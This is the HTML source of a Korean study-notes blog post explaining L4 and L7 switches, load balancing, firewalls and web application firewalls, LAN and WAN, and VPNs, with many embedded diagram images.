&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;네트워크 기기 : L4&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L4 스위치(Switch): &lt;b&gt;IP주소와 포트 번호를 참조하여&lt;/b&gt; &lt;b&gt;트래픽을 분산&lt;/b&gt;해 서버로 전송하는 로드 밸런싱 기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 로드 밸런싱(Load Balancing): 들어오는 트래픽을 둘 이상의 서버로 분산해서 전송하여 &lt;b&gt;부하를 분산&lt;/b&gt;하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 트래픽(Traffic): 서버와 네트워크 장치에서 일정 시간 내에 흐르는 데이터의 양&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2QK0s/btsNuZtcdUy/L7ixaSkhOTKWeXFYykz3YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2QK0s/btsNuZtcdUy/L7ixaSkhOTKWeXFYykz3YK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2QK0s/btsNuZtcdUy/L7ixaSkhOTKWeXFYykz3YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2QK0s%2FbtsNuZtcdUy%2FL7ixaSkhOTKWeXFYykz3YK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;984&quot; height=&quot;440&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqA2T3/btsNvTZgNSf/D1sE4JsVhi6AOGbatX0EM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqA2T3/btsNvTZgNSf/D1sE4JsVhi6AOGbatX0EM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqA2T3/btsNvTZgNSf/D1sE4JsVhi6AOGbatX0EM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqA2T3%2FbtsNvTZgNSf%2FD1sE4JsVhi6AOGbatX0EM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;985&quot; height=&quot;444&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 방화벽(Firewall): IP주소와 포트 번호를 참조하여 통신을 허가하거나 차단하는 기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 미리 정의된 보안 규칙에 따라 들어오고 나가는 트래픽을 제어할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzukIb/btsNu3vfZCz/ee6bOwoLHGtWnPSgbMomNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzukIb/btsNu3vfZCz/ee6bOwoLHGtWnPSgbMomNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzukIb/btsNu3vfZCz/ee6bOwoLHGtWnPSgbMomNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzukIb%2FbtsNu3vfZCz%2Fee6bOwoLHGtWnPSgbMomNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;465&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k0HFX/btsNu5Nr36r/qxgZICR63S5u30Pd2FAJ4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k0HFX/btsNu5Nr36r/qxgZICR63S5u30Pd2FAJ4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k0HFX/btsNu5Nr36r/qxgZICR63S5u30Pd2FAJ4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk0HFX%2FbtsNu5Nr36r%2FqxgZICR63S5u30Pd2FAJ4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;910&quot; height=&quot;465&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;네트워크 기기 : L7&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L7 스위치(Switch): &lt;b&gt;IP주소와 포트 번호 + 애플리케이션 콘텐츠 정보들을 참조해서 로드 밸런싱&lt;/b&gt;하는 기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 애플리케이션 콘텐츠 정보: URL, 파일명, 콘텐츠의 문자열 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L4 스위치 = IP + 포트번호 참조하여 부하 분산&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L7 스위치 = 애플리케이션 정보 참조하여 부하 분산&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nZZXa/btsNvoZ2GN3/jp5RTdj92iiQyxFabnRta0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nZZXa/btsNvoZ2GN3/jp5RTdj92iiQyxFabnRta0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nZZXa/btsNvoZ2GN3/jp5RTdj92iiQyxFabnRta0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnZZXa%2FbtsNvoZ2GN3%2Fjp5RTdj92iiQyxFabnRta0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1126&quot; height=&quot;451&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 방화벽(WAF: Web Application Firewall): 웹 애플리케이션 서버를 안전하게 보호하는 기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트와 서버 사이에서 교환되는 데이터를 애플리케이션 레벨(7계층)에서 상세히 검사하고 조치함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 블랙리스트, 화이트리스트, 웹 트래픽 분석 등 다양한 보안 기능 제공&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wJIYh/btsNr6zeRYK/TKq9qVSkMdonsCsXKJIeV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wJIYh/btsNr6zeRYK/TKq9qVSkMdonsCsXKJIeV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wJIYh/btsNr6zeRYK/TKq9qVSkMdonsCsXKJIeV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwJIYh%2FbtsNr6zeRYK%2FTKq9qVSkMdonsCsXKJIeV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;417&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 블랙리스트: 리스트에 있는 IP는 제외하고 모든 통신 허용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 화이트리스트: 리스트에 있는 IP만 통신 허용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVADtD/btsNvy2qYkI/OZs6zIBOHUuYiu7jBeZ4e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVADtD/btsNvy2qYkI/OZs6zIBOHUuYiu7jBeZ4e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVADtD/btsNvy2qYkI/OZs6zIBOHUuYiu7jBeZ4e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVADtD%2FbtsNvy2qYkI%2FOZs6zIBOHUuYiu7jBeZ4e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;410&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTfQMA/btsNvSF5gLO/gzh23jxs1TYkZBAyjyMlQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTfQMA/btsNvSF5gLO/gzh23jxs1TYkZBAyjyMlQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTfQMA/btsNvSF5gLO/gzh23jxs1TYkZBAyjyMlQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTfQMA%2FbtsNvSF5gLO%2Fgzh23jxs1TYkZBAyjyMlQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1090&quot; height=&quot;411&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 트래픽 분석: 사용자가 서버로 보내는 트래픽을 분석하여 정책에 따라 조치함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- XSS(Cross-Site Scripting): 애플리케이션에 악성 스크립트를 심어두고 사용자가 접속하면 공격해서 정보 갈취&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SQL Injection: 악성 SQL을 실행하여 데이터베이스 정보를 조작(데이터 수정 혹은 삭제)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwOdTL/btsNvroWv2f/YsEnM1sKHxTvoMlgZ3sDy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwOdTL/btsNvroWv2f/YsEnM1sKHxTvoMlgZ3sDy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwOdTL/btsNvroWv2f/YsEnM1sKHxTvoMlgZ3sDy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwOdTL%2FbtsNvroWv2f%2FYsEnM1sKHxTvoMlgZ3sDy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1089&quot; height=&quot;411&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 형태&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- LAN(Local Area Network): &lt;b&gt;근거리 통신망&lt;/b&gt;, 가정이나 기업 내부 등 한정된 범위의 네트워크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 한정된 범위 내 같은 네트워크 = L2 스위치 통신 = MAC 주소 사용하여 통신&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;415&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg3kG8/btsNvgVxc3R/KrbGLgghUG2KNo6ZalxIf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg3kG8/btsNvgVxc3R/KrbGLgghUG2KNo6ZalxIf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg3kG8/btsNvgVxc3R/KrbGLgghUG2KNo6ZalxIf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg3kG8%2FbtsNvgVxc3R%2FKrbGLgghUG2KNo6ZalxIf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1089&quot; height=&quot;415&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;415&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- LAN(Local Area Network): &lt;b&gt;근거리 통신망&lt;/b&gt;, 가정이나 기업 내부 등 한정된 범위의 네트워크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트 기기와 L2 스위치로 구성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5YsHn/btsNuEixiVr/hl54AVIPVDIwguUkLy58D0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5YsHn/btsNuEixiVr/hl54AVIPVDIwguUkLy58D0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5YsHn/btsNuEixiVr/hl54AVIPVDIwguUkLy58D0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5YsHn%2FbtsNuEixiVr%2Fhl54AVIPVDIwguUkLy58D0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;413&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- WAN(Wide Area Network): &lt;b&gt;원거리 통신망&lt;/b&gt;, 물리적으로 거리가 매우 떨어진 곳의 네트워크를 연결&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 다른 네트워크와 통신 = L3 스위치 통신 = IP 주소 사용하여 통신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인터넷(Internet): 모든 컴퓨터를 하나의 통신망 안에 연결하고자 하는 International Network(다수의 WAN)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 월드와이드웹(World Wide Web): 인터넷에 연결된 컴퓨터를 통해 사람들이 정보를 공유할 수 있는 공간&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSvS2O/btsNu0eAfIV/g7yxW2sRDJqebWbR7TnkDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSvS2O/btsNu0eAfIV/g7yxW2sRDJqebWbR7TnkDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSvS2O/btsNu0eAfIV/g7yxW2sRDJqebWbR7TnkDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSvS2O%2FbtsNu0eAfIV%2Fg7yxW2sRDJqebWbR7TnkDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;375&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;- WAN(Wide Area Network):&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;원거리 통신망&lt;/b&gt;, 물리적으로 거리가 매우 떨어진 곳의 네트워크를 연결&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- LAN 환경에 L3 스위치를 추가해서 구성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccSv7t/btsNvqcywf7/TLu9dwCe2TOVkkSW3JXycK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccSv7t/btsNvqcywf7/TLu9dwCe2TOVkkSW3JXycK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccSv7t/btsNvqcywf7/TLu9dwCe2TOVkkSW3JXycK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccSv7t%2FbtsNvqcywf7%2FTLu9dwCe2TOVkkSW3JXycK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;439&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/da98i0/btsNs6ZWkSK/ueJKz39zeXarIcdORcZshk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/da98i0/btsNs6ZWkSK/ueJKz39zeXarIcdORcZshk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/da98i0/btsNs6ZWkSK/ueJKz39zeXarIcdORcZshk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fda98i0%2FbtsNs6ZWkSK%2FueJKz39zeXarIcdORcZshk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1163&quot; height=&quot;378&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- WAN 이 모여서 Internet 이 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c25Z83/btsNuFV1d8B/szy8QnFM2iKnfcvqhMfD9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c25Z83/btsNuFV1d8B/szy8QnFM2iKnfcvqhMfD9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c25Z83/btsNuFV1d8B/szy8QnFM2iKnfcvqhMfD9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc25Z83%2FbtsNuFV1d8B%2Fszy8QnFM2iKnfcvqhMfD9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1176&quot; height=&quot;402&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- VPN(Virtual Private Network): 인터넷 상에서 &lt;b&gt;가상의 전용선을 만들어 통신&lt;/b&gt;할 수 있게 하는 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;특정 네트워크들만을 위한 전용 WAN&lt;/b&gt;으로 Peer to Peer, 1:1로 연결하고 이 구간의 통신은 암호화함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기업 본사 LAN과 자사 LAN을 연결할 때 인터넷을 거치지 않고 이 &lt;b&gt;두 네트워크만의 전용 WAN을 VPN으로 구성&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ca9zu9/btsNv91XT6N/oqSjgwlRYdBRVYz5Yi6Y7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ca9zu9/btsNv91XT6N/oqSjgwlRYdBRVYz5Yi6Y7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ca9zu9/btsNv91XT6N/oqSjgwlRYdBRVYz5Yi6Y7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fca9zu9%2FbtsNv91XT6N%2FoqSjgwlRYdBRVYz5Yi6Y7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;399&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- VPN을 사용하면 내 정보를 숨기고 특정 지역의 네트워크에 접속할 수 있음&lt;/p&gt;
